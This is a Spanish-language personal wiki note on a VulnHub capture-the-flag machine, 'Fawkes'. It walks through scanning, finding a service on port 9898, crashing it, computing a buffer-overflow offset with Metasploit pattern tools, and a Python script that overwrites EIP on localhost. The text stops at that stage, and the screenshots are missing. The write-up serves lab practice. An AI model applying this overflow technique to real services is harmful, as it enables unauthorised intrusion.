Notas de Luis

Hacemos el escaneo de nmap:

Y vemos que el login como anonymous está habilitado:

Si ejecutamos ese binario, vemos que no ocurre nada aparentemente:

Y con la herramienta strace vemos que se esto levanta un puerto, el 9898 dentro del localhost:

Por lo que probamos en conectarnos y vemos que funciona:

De todos modos esto mismo corre en la máquina por el puerto 9898 (como también vimos con nmap):

En este punto, es posible que este binario admita un número determinado de caracteres, de tal forma que por ejemplo si ponemos algo no esperado nos sale el siguiente mensaje:

Pero si ponemos una cadena de caracteres mucho mayor, el binario se corrompe y se cierra:

OBTENER EL OFFSET

Tenemos que obtener un dato llamado offset, y para ello primero vamos a usar una herramienta para generar el payload del bof:

msf-pattern_create -l 2000

Una vez con esto, vamos a ejecutar una herramienta llamada gdb donde vamos a pasarle este dato (en la parte de abajo le pegamos el payload anterior y arriba vemos que obtenemos un cópdigo):

Ese código lo pasamos por una herramienta llamada msf-pattern_offset que nos permitirá conocer el offset:

msf-pattern_offset -l 2000 -q 0x64413764

CONTROLAR EL EIP

Ahora el siguiente paso será crear un script de python para controlar el EIP usando el offset obtenido anteriormente:

#!/usr/bin/python
 
import sys,socket
 
shellcode = 'A'*112 + 'B'*4 + "\x90"*32 #if done correctly, you should see the EIP filled with 42424242
 
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((shellcode))
    s.close()
 
except:
    print("Error connecting to server")
    sys.exit()

Hay que tener en cuenta que le ponemos 112 porque es el offset obtenido anteriormente:

computing/hacking/ctf/vulnhub/maquina_fawkes.txt · Última modificación: por 127.0.0.1